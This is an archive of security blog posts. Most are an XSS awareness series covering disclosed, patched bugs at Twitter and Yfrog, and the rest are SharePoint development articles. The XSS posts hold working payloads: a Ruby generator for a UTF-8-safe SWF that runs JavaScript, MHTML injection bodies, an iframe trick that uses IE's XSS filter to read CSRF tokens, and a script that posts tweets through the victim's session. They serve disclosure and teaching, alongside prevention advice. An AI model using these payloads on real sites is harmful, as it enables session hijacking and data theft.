Will Code for Nuts

XSS Awareness #4: The actual dangers of cross-site scripting vulnerabilities

2011-03-14T11:29:00.020+01:00

If you missed either of the other articles in this series, they can be found here:

"What's so bad about XSS vulnerabilities anyway?"

... is a question that's repeated wherever and whenever web application security is being discussed.

The potential damage caused by such vulnerabilities largely depend on which specific kind of vulnerability we're dealing with (persistent vs. non-persistent), and also which services are available to the attacker to use without two-factor confirmation, captchas, etc. Generally speaking, however, there's little an attacker cannot do, when given a vulnerability to exploit.

I like to think of cross-site scripting as handing the control of your browser over to a random stranger, telling him or her to do whatever, so long as it happens within the one website you're logged onto. If that one website happens to be your internet banking website, would you not be worried?

Non-persistent XSS vulnerabilities

Non-persistent implies that the XSS would either have to be delivered in shape of a link the user clicks on, through a hidden frame on a site the user visits, or similar. These vulnerabilities most commonly lead to information disclosure.

If you've logged into your account on your bank's site, then move to an evil site, the evil site can potentially copy your data (social security number, transaction statements, etc.), as well as perform operations in your stead (posts to transaction mechanisms, account deletion, etc). This, however, relies either on persistent sessions or visits to the evil site in one window, while you're still logged on in another window.

Persistent XSS vulnerabilities

Persistent implies that the attacker is able to post something to a page oft visited, and have his script executed whenever someone opens the page. This kind of XSS vulnerability can lead to more serious information disclosure:

Legitimate looking password popups, which actually pass the username and password to some evil page
MITM-style manipulation of user posted data (e.g. banking transactions), which often require two-factor authentication or similar confirmation codes
Intercepting credit card information

Worms also most commonly operate within the "persistent" domain. A worm which ravaged Twitter not so long ago relied on users to hover a link; an action which would cause the target to retweet a piece of malicious code, repeating the process.

Phishing attacks combined with XSS vulnerabilities

Phishing attacks also move to a completely different level when mixed with XSS vulnerabilities. The attacker could use the XSS to inject his own evil scripts into the page, and intercept data, passwords, credit cards etc., using the site's own layout and URL.

Combined with the HTML5 ability to rewrite the URL shown in the browser, the conspicuous looking URL which carries the XSS payload would merely flash for a moment. This technique makes it very difficult for the user to see that there's anything nasty going on, and it will be similarly hard to spot for phishing prevention plugins / applications, since the legitimate site is actually being used (rather than faceebook.com trying to hijack facebook.com).

Not just in the browser

The examples above describe that data can be stolen, and in some cases written, on the web. The internet is however overflowing with write-ups on how XSS vulnerabilities have lead to server-side code execution and even client-side native code execution.

How common are these vulnerabilities?

During February 2011 I notified two large banks in Norway (regarding multiple vulnerabilities which made it trivial to extract account information), Opera (regarding a vulnerability in their new mobile appstore), Github, Twitter, Reddit, Digg, Yfrog, TwitPic, Microsoft and quite a few others.

The majority of these vulnerabilities were trivial to find: In fact, many required no effort at all, as they were spotted by the injection-based xss vulnerability scanner I released to Github a few days ago. Other vulnerabilities were research-oriented, and did require some effort. But if I could find them, people who dedicate their lives to exploiting these things most certainly would.

So where does that leave us?

While it's the dead-serious responsibility of web developers to ensure that their webapps are secure, it's also the responsibility of end users to understand how to stay as protected as possible. I've mentioned NotScripts and FlashBlock before -- both good alternatives for Chrome users. Many other alternatives exist for other browsers.

The very best (although arguably more tedious) advice, however:
Never stay logged in.

XSS Awareness #3: Injecting malicious SWFs through the Query String

2011-02-19T12:16:00.036+01:00

If you missed either of the other articles in this series, they can be found here:

Internet Explorer and MIME types

Internet Explorer is notorious when it comes to disregarding the Content-Type HTTP header; that really cannot be said often enough. If you're a web developer, and especially if you're writing web services, it's extremely important to be aware of this.

Short recap, for the oblivious: MIME type is whatever type the browser believes a resource to be. Most browsers rely on the Content-Type HTTP header first, then hints passed by the markup which refers to the resource, and finally file extension in the URI. Internet Explorer, on the other hand, will first of all attempt to guess, or sniff, the MIME type based on the extension.

The importance of MIME type in JSONP services

JSONP (JSON with a user-supplied callback) services, or rather: web services where one of the query parameters will be written to the very beginning of the output, are especially prone to MIME type issues.

As demonstrated in the second article in this series (linked above), many web services skip cleaning callback like query parameters for such services. Most of the time they are alright to do so. As long as the service returns "Content-Type: application/json", "Content-Type: application/javascript" or similar, most browsers won't attempt to load the data as HTML or anything else.

But this is where Internet Explorer will get into deep water. Again.

Given that:

The service returns data that begins with a string passed in a query parameter.
The service somehow accepts custom extensions, such as a REST'ish syntax where the last part before the query string is a search string: "http://somedomain.com/services/search/foobar.baz?callback=something".
The callback query parameter isn't altered (too much) by the server.
The server doesn't return the "X-Content-Type-Options: nosniff" HTTP header.

.. then it's very likely that Internet Explorer can be tricked into loading scripts or other executable content. Because of point #2, a request to the server could e.g. pass ".swf" as an extension to the web service; which will cause Internet Explorer to interpret the returned data as something the Flash plugin would want to run.

Injecting malicious SWFs through the Query String

While services, or even web pages, which fulfill the three requirements above could be passed a script, such as

<script>alert(1);</script>

.. Internet Explorer's XSS filter would block this. SWFs and similar executable content, which may come with javascript, however won't be blocked.

How easy it is for an attacker to inject an SWF depends largely on which characters the server's encoding allows for. Most services these days send data as UTF-8, which means that bytes at or above 0x80 can be tricky to express. Some require UTF-8 start bytes as prefixes (which can require more than one byte to follow), some are themselves start bytes, and require a set of continuation bytes. Nevertheless, it is possible to express the necessary skeleton SWF to hold and execute JavaScript.

I won't be going in-depth on the ActionScript Virtual Machine (or AVM); a few quick searches will yield lots of information on that. The important bits of the approach, however, are as follows:

ActionScript actions are single bytes. Some actions take attributes. GetURL is one such action, and it takes two attributes: url and target. The thing about these actions, however: all those that take attributes have bytecodes at or above 0x80, and are therefore not valid UTF-8 sequences on their own.

There is one specific thing about the AVM that provides an easy workaround: Unknown action bytecodes are silently ignored by the player.

Actions which take attributes have the following layout:

[action bytecode, 1 byte][attribute section length, 2 bytes][attribute section, n bytes]

Consequently it is possible to specify the unknown 0xC2 (UTF-8 start byte) action, followed by 0x80 (a valid UTF-8 single continuation byte) and 0x00. Following that three byte construct, the Flash player will expect (and ignore) 128 attribute bytes. Outputting 127 times 0x44 (or any other byte lower than 0x80), then another 0xC2, will allow us to specify 0x83 (GetURL) as the next ActionScript action.

Following is a (somewhat) naïve Ruby script I wrote, which generates an SWF wrapper around a JavaScript, such as described above. I'm hoping that is enough for web devs to understand that it's by no means difficult to deliver SWFs when restricted to UTF-8.
(Or even 7-bit ASCII, if you're Erling Ellingsen.)

class Fixnum
  def to_little_endian_bytes l
    [self].pack(l==4?'V':'v').unpack('C*')
  end
  def has_byte_above max
    [self].pack('v').unpack('C*').any? { |n| n > max }
  end
end

def utf8_prefix
  [0xC2, 0x80, 0x00] + (1...0x80).inject([]) { |m, n| m << 0x2d } + [0xC2]
end

def action bytecode, *args
  argbytes = args.inject([]) { |m, arg| m += arg.unpack('C*') << 0 }
  while argbytes.length.has_byte_above(0x7F)
    argbytes << 0
  end
  header = (bytecode >= 0x80 ? utf8_prefix : []) << bytecode
  header + argbytes.length.to_little_endian_bytes(2) + argbytes
end

def make_script_swf javascript
  while true
    header = [0x46, 0x57, 0x53, 0x08]
    setup = [0x20, 0x18, 0x18, 0x00, 0x01, 0x01, 0x00]
    tag = [0x3f, 0x03]
    tagcode = action(0x83, "javascript:#{javascript}", "_top") << 0
    tagsize = tagcode.length.to_little_endian_bytes(4)
    size = (header.length + setup.length + 
            tag.length + tagsize.length + 
            tagcode.length + 6).to_little_endian_bytes(4)
    bytes = header + size + setup + tag + tagsize + tagcode << 0 << 0
    break if bytes.length.has_byte_above(0x7F) == false and 
             tagcode.length.has_byte_above(0x7F) == false
    javascript += " "
  end
  bytes
end

Running this, and dumping percent encoded output, such as:

bytes = make_script_swf('alert(1);')
puts bytes.map { |c| "%%%02x" % c }.join('')

Would yield a query string passable SWF similar to:

%46%57%53%08%1a%01%01%01%43%02%3f%03%01%c2%80%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%c2%83%79%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5f%74%6f%70

Proof of concept XSS against Twitter

As far as proof of concepts go, I did generate an SWF like this, which I passed to the previously mentioned Twitter promotion service. Following is a screencast of how that played out. Watch it in fullscreen to see the HTTP headers and such.

Hopefully that caught your attention, and you're now keen to protect your own web services.

Prevention

If you're a web developer writing web services, or any kind of web page, you really need to pay attention to injected content, no matter the MIME type. Of course, you should always make sure to send the correct Content-Type HTTP header, but that only gets you so far. Also make sure to pass the "X-Content-Type-Options: nosniff" header if you specify a restrictive Content-Type, otherwise IE will take a path of its own. Again, though, there are always scenarios where the browser will disregard the server-supplied Content-Type, so it really comes down to washing input properly.

Finally, and this is the really important bit: Don't underestimate possible attack vectors. Slightly difficult isn't impossible. Usually, 'impossible' isn't even impossible; just cumbersome. If you write any kind of software, it really is your duty to be prepared for the fact that someone brighter, or more evil, than you may come along down the road.

XSS Awareness #2: Internet Explorer, MHTML and the case of Twitter's promo service

2011-02-11T13:00:00.011+01:00

If you missed either of the other articles in this series, they can be found here:

MHTML: Microsoft's black sheep web page archive format

The first advisory I could find related to the latest wave of exploits through the MHTML protocol handler, dates back to 2004. The protocol itself was proposed in 1999, which means that this problem has been known for more than half its lifetime. That's pretty spectacular. I'll admit I had barely heard of, let alone dug into, what and why MHTML was - until the reports in early January this year.

In a nutshell, the MHTML protocol handler will look for a second HTTP header like structure in what's being sent from the server. Following the regular HTTP header, you'll find a double set of carriage return and line feed, "\r\n\r\n", after which the HTTP body begins. Granted that the url is prefixed "mhtml:", the MHTML handler will kick in at this point.

The MHTML handler will parse the HTTP body for MHTML headers, stopping when it finds a completely blank line ("\n\n" or "\r\n\r\n"). The headers it looks for include "Content-Location" and "Content-Transfer-Encoding". Having successfully found these, it will attempt to decode the MHTML resource, which follows the MHTML header. A HTTP body can include several MHTML resources, which are named through the Content-Location header. Which specific MHTML resource is executed, is decided by an argument passed through the URL, following a trailing exclamation mark.

A server response with a single MHTML document, containing a javascript to alert "hi", could look like:

HTTP/1.0 200 OK
Date: Fri, 11 Feb 2011 08:07:05 GMT
Status: 200 OK
Content-Length: [...]
Pragma: no-cache
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Connection: close

Content-Type: Multipart/related; boundary=_bounds

--_bounds
Content-Location: foo
Content-Transfer-Encoding: base64

PHNjcmlwdD5hbGVydCgnaGknKTwvc2NyaXB0Pg==
--_bounds--

What makes the MHTML protocol handler dangerous, is a combination of several factors.

Internet Explorer is prone disregard content type in the first place, but the MHTML protocol handler will even disregard nosniff and mime type.
Seeing as the script part of the document can be base64 encoded, the browser's XSS prevention mechanism won't kick in.
No quotes or other commonly escaped / encoded characters are present in the MHTML payload. I have seen some examples where semicolons are replaced as well, but they aren't required in the MHTML header's short form in either case.

This effectively means that web pages which otherwise follow best practices, but don't strip carriage return and newline from the input they pass on, could be vulnerable. That is, if they don't output any blank lines anywhere prior to the MHTML header's output point. This happens to be why I've previously said that ASP.NET is accidentally (nearly) immune to the attack: the commonly used markup, with page directives and such on top, will cause an extra blank line to be written between the HTTP header and the HTTP body -- abruptly disabling the MHTML procol handler.

While many pages are affected by this, one specific kind of web page has been more prone to vulnerability than others: JSON web services with jsonp callback parameters. Few web services bother washing input to these services, and are relatively safe to do so, granted that they pass the right content type, mime type and preferably nosniff header back to the browser. No sane browser would run the output from the page, should it be requested, in either case. Such is not the case with the MHTML handler, however.

Let me just say: MHTML is an epically bad idea

It really is essential that organizations of IE users understand just how ludicrous the MHTML protocol handler is. Let me add to the examples above by mentioning that IE doesn't care at all whether the MIME type you're loading implies a binary file or not. It could just as well be a jpg, png, gif or whatever else, so long as there are (as mentioned above) no two successive newlines prior to the MHTML header. Open an url such as http://example.com/image.png, and you'd get a picture. Open mhtml:http://example.com/image.png!foo, and your browser would happily execute scripts and whatnot.

Then there are the content hosting sites, such as Github, who really have no option but to host raw, unmodified, views of files. Or even Gists. Since MHTML's reach stretches beyond MIME type, Content-Type and anything you can pass in the HTTP header, it goes without saying that hosting *any* file with a valid MHTML header on such a site, would be executed by the browser. And when it does, any private listings you have there are at risk of being stolen.

There really is no sense to the MHTML handler. At all.

If you're still using Internet Explorer (and yes, that includes the newly released IE 9 Release Candidate), go patch it: http://support.microsoft.com/kb/2501696.

The case of Twitter's promo service

Twitter had one specific web service, which returned json-formatted information about promotions. You could freely pass a callback to it, and it would return a javascript which called said function, with the json data as an argument (jsonp in a nutshell, yeah). This service happened to not wash carriage return and line-feed from the callback name, and consequently was XSS vulnerable to injected MHTML.

One thing that complicated a proof of concept against the service -- but ultimately pointed out something important -- was a specific piece of javascript on Twitter's main page.

Most MHTML XSS attacks I've seen deliver an iframe, which in turn loads up a page which holds CSRF tokens. The MHTML's script would extract the token from the iframe's document, and the browser would happily allow it, seeing as the two were within in the same domain. Finally the script would post to whatever service it wanted to be naughty towards.

Because of Twitter's script, however, this proved difficult. Upon opening the main page, the script would check if the page was currently the topmost frame, and if not: replace the url of the top frame, effectively breaking out of the iframe. Second of all, the script would immediately set document.domain to "twitter.com", which isn't possible from MHTML, and that would also break the iframe approach.

What I ended up doing was deliver a script which would use Microsoft's XMLHttp object to get the token, and post that to the tweet page. From within MHTML, this also proved slightly difficult, as the XHR would regularly throw "access denied" error messages. The curious part here, though: it wouldn't *always* throw these messages. There appeared to be some timing to it. The access error couldn't be because of the document.domain restriction either, as no page had yet been requested with that on it. It seemed to be entirely an effect of where in the MHTML lifecycle the request was fired. That possible digression bug aside, bunny hopping between different scripts upon error, eventually made both token retrieval and cross-tweeting go through:

XSS proof of concept against the promo service.

Internet Explorer's XSS filter gone autoimmune

So, while that approach did work, I mentioned that the whole iframe redirect / document.domain spectacle did point out something important. While I was discussing the anomaly in MHTML's XMLHttp request with a friend of mine, Erling Ellingsen, he pointed out that Internet Explorer's own XSS filter often can be used against itself, in order to disable pieces of scripts on a page.

Imagine that you have a page with a CSRF token, lets call it secret.html, at http://services.somedomain.com:

<html>
<script>document.domain = "somedomain.com"</script>
<body>
SecretToken
</body>
</html>

On this server, there would be a page somehow MHTML XSS exploitable. The following is then injected into it (quoted-printable, rather than base64 encoded, for readability):

Content-Type: Multipart/related; boundary=_bounds

--_bounds
Content-Location: foo
Content-Transfer-Encoding: QUOTED-PRINTABLE

<body><iframe
    onload=3D"javascript:alert(this.contentWindow.document.body.innerText)" 
    src=3D"http://services.somedomain.com/secret.html"></iframe></body>
--_bounds--

Now because of the document.domain="somedomain.com" of the secret.html page, the script wouldn't be able to retrieve the CSRF token. For the service provider, this is definitely a good thing, as it (usually) adds another layer of protection. What the service provider didn't think of, however, was Internet Explorer's hyperactive XSS filter.

If you changed the url requested in the iframe to:

<body><iframe
    onload=3D"javascript:alert(this.contentWindow.document.body.innerText)" 
    src=3D"http://services.somedomain.com/secret.html?hi=3D<script>document.domain =3D %22somedomain.com%22</script>"></iframe></body>

Then Internet Explorer would parse the page, looking for any signs of scripts similar to the block in the query string. Upon finding this in secret.html, it would believe that it got there because of the query string, and throw a bunch of pound signs into the tags and code -- rendering it useless. The iframe's document would consequently no longer be restricted to somedomain.com, and would be readable from the MHTML's script.

Final thoughts

There's a definitive lesson to be learnt here. If you rely on scripts to restrict requests to specific domains, prevent iframe embedding, or similar: be certain to throw some random garbage into your script block, while it is generated server side. That said, in browsers other than Internet Explorer, the iframe could be declared sandboxed, to prevent script execution within it. If you still want to go down this obscure security trail, countering that would in some browsers be possible with

<noscript><meta http-equiv="X-Frame-Options" content="deny" /></noscript>

... but I won't follow you down there.

When it comes to MHTML, there's not much to do, short of either disabling \r\n in query input, specifically removing the MHTML headers or simply adding an extra \r\n right after the HTTP header. Generally speaking, it's a very good idea to be somewhat restrictive even with callbacks given to jsonp services, and especially so if you don't pass the X-Content-Type-Options: nosniff HTTP header.

XSS Awareness: How a Yfrog vulnerability could be used to post to Twitter

2011-02-09T12:30:00.027+01:00

If you missed either of the other articles in this series, they can be found here:

Disclaimer

Following the MHTML disclosure in early January this year, I've involuntarily (as nerdtraps usually pan out) found myself back on an old mission: to improve bits of web insecurity in commonly used services. During this time I've sent more than a handful warning emails. As the issues are patched up, I hope to share the results with the rest who stumble by here.

This isn't in any way meant to cause harm to the good name of the companies involved. XSS vulnerabilities are wildly simple to produce, and are also prone to appear because of sneaky browser flaws (such as the MHTML 'feature' in IE). As a web developer, it's next to impossible to stay up-to-date on all possible attack vectors, which is why I find it necessary to:

Use examples which make people realize what's at stake.
Provide as concrete and concise do's and dont's as possible based on said examples.

To not have you lose interest, I'll get to the point as quickly as possible.

The case of Yfrog

At Yfrog, whose services many use to publish images and videos to Twitter, Facebook and such, there was a particular page: /tweet.php. It took two query parameters: bg and url.

They were being injected into the page as follows:

<html>
<head>
<style type="text/css">
    body {background-color: #--BG HERE--}
</style>
</head>
<body>
<script type='text/javascript'>tweetmeme_url='--URL HERE--';</script><script type='text/javascript' src='http://tweetmeme.com/i/scripts/button.js'></script>
</body>
</html>

The parameters were washed so that single quotes, double quotes and backslashes were backslash escaped. Consequently, were you to pass

';alert('hi');

.. to the url parameter, the output would read

tweetmeme_url='\';alert(\'hi\');'

The characters } < > and /, on the other hand, weren't touched at all.

That means two things. First of all, it would be possible to break out of the style block, and insert a rogue script block. Second, it would be possible to evade certain XSS filters, such as those in Chrome and Safari, by combining the bg and url parameters to comment out a section of the markup.

Building an url such as

http://yfrog.com/tweet.php?bg=0}%0a</style><script>alert(1)/*&url=*/</script>

Would result in the following markup

<html>
<head>
<style type="text/css">
    body {background-color: #0}
</style><script>alert(1)/*}
</style>
</head>
<body>
<script type='text/javascript'>tweetmeme_url='*/</script>';</script><script type='text/javascript' src='http://tweetmeme.com/i/scripts/button.js'></script>
</body>
</html>

Notice that the part following the alert is commented out, and that the comment ends within the url assigned to tweetmeme_url. Browsers with built-in XSS protection that rely on matching the full content of a script block, with data found in the query string, would not be able to protect you against this. Consequently a popup with '1' would show.

Point #1: Whenever you have multiple input parameters, and these are written to different parts of the page, an attacker can use that to fool both your own internal parameter washing and XSS prevention mechanism, as well as that of the browser.

Point #2: Parameter washing must always take into consideration exactly where the parameter will be rendered. Escaping backslashes, quotes and single quotes does work for string literals in scripts, but will prevent nothing at all for attributes or other html markup. Allowing newlines or carriage returns can similarly be used to break out of string literals in scripts. This can, given certain other conditions, result in vulnerabilities. For most html and attribute rendered parameters, MHTML not withstanding, newlines are harmless.

The only remaining obstacle -- or rather inconvenience -- in this case, is the escaping of single and double quotes. This means that a script meant to exploit the vulnerability would have to be written without any string literals. There are quite a few options on how to deal with this. First of all, it could be circumvented entirely by simply linking an external script. Second, most of the script could be a char code array, with just a minimal bootstrapper to decode and eval the actual script. Third, and this is an option I'll show you here, you could use the forward slash regex syntax to capture literals.

sc=function(r){return r.source};
x=new XMLHttpRequest();
x.open(sc(/POST/),sc(/http%3A%2F%2Fyfrog.com%2Fposter.php/),false);
x.setRequestHeader(sc(/Content-Type/),sc(/application%2Fx-www-form-urlencoded/));
x.send(sc(/message%3DXSSTWEET%26type%5B%5D%3Dt%26oauth%3D1%26forcelogin/));

This is actually the full proof of concept script I injected into the page, which resulted in a tweet through the account I had signed into Yfrog with.

Point #3: Disallowing certain characters is nothing more than an inconvenience to an attacker, if he/she has first managed to inject something interpreted as script. Even all characters converted to uppercase, in a final effort to avoid script interpretation, can easily be worked around. See this page for examples from BlackHat DC.

Point #4: When session cookies are in use, be sure to make them httponly. Cookies available from javascript are all too likely to be stolen and misused. Adding to this, cookies should never span a wider range of subdomains than necessary: If your application lives on the top domain, let the cookies be scoped to that - and that alone.

Proof of concept screencast

This shows how an attack could play out. Notice that the proof of concept page I visit shows no error message, or visual indication of what goes down in the background.

Final thoughts

I have to commend Yfrog for looking into this quickly. With service providers such as Yfrog, and the position they hold in the market -- as well as towards other services through inter-service trust -- it's vital that issues are corrected as fast as possible.

This brings me to a point on new web services in general. Bridging the gap between the various sites you use, trusting everyone to contact everyone, and always staying signed in to one or more of the services; is bound to weaken your overall level of security. I highly recommend not staying logged in anywhere, for longer than necessary. I also recommend the usage of NotScript / NoScript and similar browser addins. Although only occasionally effective, keeping the circle of script sources you trust tight does help. In the case of XSS attacks where external scripts are being loaded from evil CDN, a user of NoScript / NotScript / similar would not be affected unless he trusted those CDNs specifically.

Dissecting the SharePoint PowerShell Assignment Collections

2010-12-14T11:00:00.003+01:00

With SP2010, Microsoft introduced PowerShell cmdlets as a replacement for / alternative to stsadm. Along with this, they brought SPAssignmentCollection, to minimize the impact of forgetting to dispose many of the SharePoint objects.

It's usage is simple enough: Start-SPAssignment and Stop-SPAssignment.
They can both be scoped Global, SemiGlobal and Local.

Locally scoped assignment collections would pan out such as

$gc = start-spassignment
$web = ($gc | Get-SPWeb http://someaddress)
# do something with $web
$gc | stop-assignment

I won't spend more time going into details about usage - other blogs have done that already. And if you're curious, "get-help start-spassignment -full" goes a long way.

What's interesting, though, is what happens behind the scenes. Take SPWeb instantiation as an example: do we even need to pass an assignment collection, for trivial usage? The answer is "not necessarily".

The reason for this is the way the PowerShell bindings deal with the SharePoint objects. Whenever you open an SPWeb, such as

Get-SPWeb http://address

.. what happens is that a SPSite object will be instantiated, and OpenWeb will be called on that, with the supplied url. SPWeb's constructor will pass itself back down to the SPSite, where it will be stored in a list of "owned" web instances. When SPSite.Dispose is called, all these owned instances will be disposed / closed as well.

Back in the PowerShell bindings, the SPSite has been constructed, and an SPWeb retrieved. This is the object returned to the caller. But before returning, the Get-SPWeb cmdlet will check for an active assignment collection - and upon not finding one: close the SPSite. Effectively, Get-SPWeb will return a disposed object, and no memory will leak.

This all holds true for opening a web, and reading certain already-initialized properties (such as url and id).

As soon as you start reading or writing other properties - even reading something as trivial as Title - the SPWeb will be re-opened, and kept open. The same goes for any nested instantiation / opening, such as enumerating child webs through SPWeb.Webs. You can verify this yourself, by checking the hidden "m_closed" field on the SPWeb instance, such as:

function is-closed($value) {
    if ($value -is [microsoft.sharepoint.spsite]) {
        $value.gettype().getfield("m_Request", [reflection.bindingflags]::nonpublic -bor [reflection.bindingflags]::instance).getvalue($value) -eq $null
    }
    elseif ($value -is [microsoft.sharepoint.spweb]) {
        [boolean]::parse($value.gettype().getfield("m_closed", [reflection.bindingflags]::nonpublic -bor [reflection.bindingflags]::instance).getvalue($value))
    }
    else {
        throw "invalid type"
    }
}

$w = get-spweb http://address
$w.id
is-closed $w    # outputs true

$w = get-spweb http://address
$w.title
is-closed $w    # outputs false

Similarly, for child enumeration, and given the "is-closed" function above, the following will yield a count equal to the number of child webs in the web it's targetting. In other words, we'll quickly have a bunch of instances leaking memory.

$w = get-spweb http://address
$a = @()
$w.webs | %{ $a += $_ }
($a | ?{ (is-closed $_) -eq $false } | measure-object).count

So this is where we'll really see the benefit of using assignment collections. They'll not only properly dispose of any opened instance returned by e.g. Get-SPWeb; they also take care of nested instantiation and retrieval.

This means that once we wrap the above block with calls to Start-SPAssignment and Stop-SPAssignment, the resulting "still open SPWebs" count should be 0:

spgc {
    $w = get-spweb http://address
    $a = @()
    $w.webs | %{ $a += $_ }
    set-variable -scope global -name a -value $a
}
($a | ?{ (is-closed $_) -eq $false } | measure-object).count

The trick here is the "spgc" function, which takes a scriptblock and wraps it with a global assignment collection:

function spgc([ScriptBlock]$block) {
    trap {
        Stop-SPAssignment -Global
    }
    Start-SPAssignment -Global
    & $block
    Stop-SPAssignment -Global
}

Stop-SPAssignment manages to dispose the enumerated child webs not by taking note of each of them individually, but by disposing the SPSite they were all retrieved from. This is taken care of by the SharePoint PowerShell bindings, which add all disposable objects returned by a cmdlet to a global assignment collection, if one is defined.

While this collection of returned disposable objects is what makes Stop-SPAssignment do its job, it is also its Achilles' heel: For what happens when the object returned by the PowerShell cmdlets isn't a disposable object, but it's used to retrieve something that's disposable?

spgc {
    $wa = get-spwebapplication http://address
    $s = $wa.sites[0] # open the first site in the web application
    set-variable -scope global -name site -value $s
    is-closed $s
    $s.allwebs # causes the site to be opened
    is-closed $s
}
is-closed $site

SPWebApplication instances aren't disposable, but you could easily find yourself using one - in PowerShell - to enumerate all sites in a certain webapp. If you do so, and call anything on any of the sites retrieved, which cause them to be brought to an open state, they will not be disposed by calling Stop-SPAssignment. As such, the last script block above will show that the SPSite object retrieved remains open after leaving the spgc block.

So, in summary - do use Start-SPAssignment and Stop-SPAssignment in long-running PowerShell sessions / scripts, but pay close attention to their limitations as well as their powers.

How logic flaws in SharePoint's Element activation process can break Lookup fields

2010-12-13T09:32:00.022+01:00

I came about this issue while I was - with as little markup as possible - deploying a Lookup field with a relative List reference. The list this field referenced was deployed with another feature in the wsp, upon which the field's feature depended. All in all a very simple setup, with dependencies that make sense.

With Lookup and LookupMulti fields, you have two options when binding them to a second list. You can either specify the guid, or a relative url. Here's an excerpt from MSDN, describing the "List" attribute:

Optional Text. Used to identify the list that is the target of a lookup field (Type="Lookup").

If the target list already exists, the value of the List attribute should be the string representation of the GUID (including braces) that identifies the target list. If the target is the same list as the one that the field belongs to, you can specify "Self".

If the target list does not yet exist, the value of the List attribute can be a web-relative URL such as "Lists/My List" but only if the target list is created in the same feature as the one that creates the lookup field. In this case, the value of the List attribute on the Field element must be identical to the value of the Url attribute on the ListInstance element that creates the target list.

In my case, seeing as I have no idea what the target list's id is as the field's feature is activating, I'd use the relative url. But wait a minute - the quote above states "[...] can be a web-relative URL such as 'Lists/My List' but only if the target list is created in the same feature as the one that creates the lookup field" - What?

That would be bad for two reasons.

You'd be stuck putting a whole lot of functionality in one feature - something that'd generally make dependencies difficult to express, and impossible to get right.
Lists deployed already; the guids of which you'd have no way of getting into your element markup, unless you either wrote supporting code to update the xml dynamically, or create and deploy the field entirely by code .. Both of which defeat the purpose of the xml markup in the first place.

So we can all agree that this limitation would have been awful - had what's noted in the MSDN text actually been true. Because it most certainly isn't.

After deploying a plethora of lookup fields - some exported from SharePoint, others written by hand - with varying luck referencing lists relatively, I got annoyed, and turned to Reflector.

Element activation process in detail

Long story short, SPFieldElement - which represents a <Field /> block in an elements.xml - has a method called PerformFixUpIfLookUpField. It is responsible for looking up a referenced web (through the WebId attribute) and list (through the List attribute), based on either guids, relative references or - in the case of webid - the special "~sitecollection". If the list reference is a relative one, and the method manages to find the list in question, the list reference will be updated with an actual guid.

So that's all fine and dandy. If PerformFixUpIfLookUpField is called for a Field element, relative references will be dealt with. If it's called. And this is where the catch is.

PerformFixUpIfLookUpField is called from two places, and both are in the same method: SPFieldElement's ElementActivated. From that method, PerformFixUpIfLookUpField is called if, and only if, either of these statements hold true:

.. A field with the deployed field's id already exists on the site and the field's Overwrite attribute is "true" and the existing field isn't sealed or readonly.
.. The deployed field is in a sandboxed solution or its Overwrite attribute is "true".

This means that unless the Lookup field is deployed in a sandboxed solution, relative list references will never be resolved if the Overwrite attribute is anything but "true". That makes no sense. At all.

This makes me wonder, though - and do correct me if I'm wrong here. The Feature activation process strikes me as a central piece in the SharePoint code base, and judging by this logic flaw: not a single unit test was written to ensure its correctness.

In Summary

So long as you specify Overwrite="true" for Field elements of type Lookup, LookupMulti, TaxonomyFieldType, etc., relative references will work. And you can completely disregard the "created in the same feature" statement in the MSDN reference.

Building a Silverlight & jQuery powered drag'n'drop-from-desktop uploader for SharePoint 2010

2010-12-11T11:58:00.009+01:00

This is a cross-post from NothingButSharePoint.com. Head over to the developer section for more SharePoint articles.

Introduction

The scope of this article is to demonstrate how to build a custom SharePoint file uploader, which will essentially let the user drag files straight into the web browser, and drop them onto either a document library, or a document library web part.

Contrary to the default uploaders in SharePoint, it will require no clicks or ribbon navigation to upload the files - and it quite efficiently deals with multiple files.

Learning Points

The solution demonstrates use of:

Using delegate controls to add user controls (.ascx) to the various SharePoint pages
Loading jQuery and other script dependencies through use of a custom script loader
Using the jQuery Templates plugin in a SharePoint 2010 setting
Dynamically loading and communicating with Silverlight from JavaScript
Handling Desktop Drag events in the browser and Silverlight
Uploading files to SharePoint, using the standard REST services
Microsoft's Reactive Extensions (Rx) framework, for asynchronous operations

Requirements

Going deep into each step of this article would be way beyond any practical scope, so I'm assuming that the user has at least basic knowledge of SharePoint 2010 as a development platform, and some experience with JavaScript and Silverlight.

Additionally, there are some software dependencies:

Step 1 - Creating the Visual Studio solution

Open Visual Studio, and start a new "Empty SharePoint Project". Name it DesktopUploader, or pick another name that suits you better (do note that selecting another name will require changes to various strings further down in this article).

Next, select to deploy it as a farm solution, and enter the URL of your SharePoint development portal.

Now that the Visual Studio Solution is started, and we've got the SharePoint project in place, we need to add the Silverlight project.

Go to File -> Add -> New Project, and select the "Silverlight Application" template.

In the next frame, make sure you deselect "Host the Silverlight application in a new Web site", and that Silverlight Version is set to 4.

Now that the Silverlight app is created, we'll add a reference to Microsoft's Reactive Extensions. If you downloaded and installed them from the link provided above, you should be able to right click the Silverlight project's node in the solution Explorer, and select "Add Reference".

Navigate to "C:\Program Files (x86)\Microsoft Cloud Programmability\Reactive Extensions\v1.0.2787.0\SL4", and select the top four dlls, then click ok.

What we'll want to do next, is make sure that the Silverlight project copies its output to one of the folders the SharePoint project deploys.

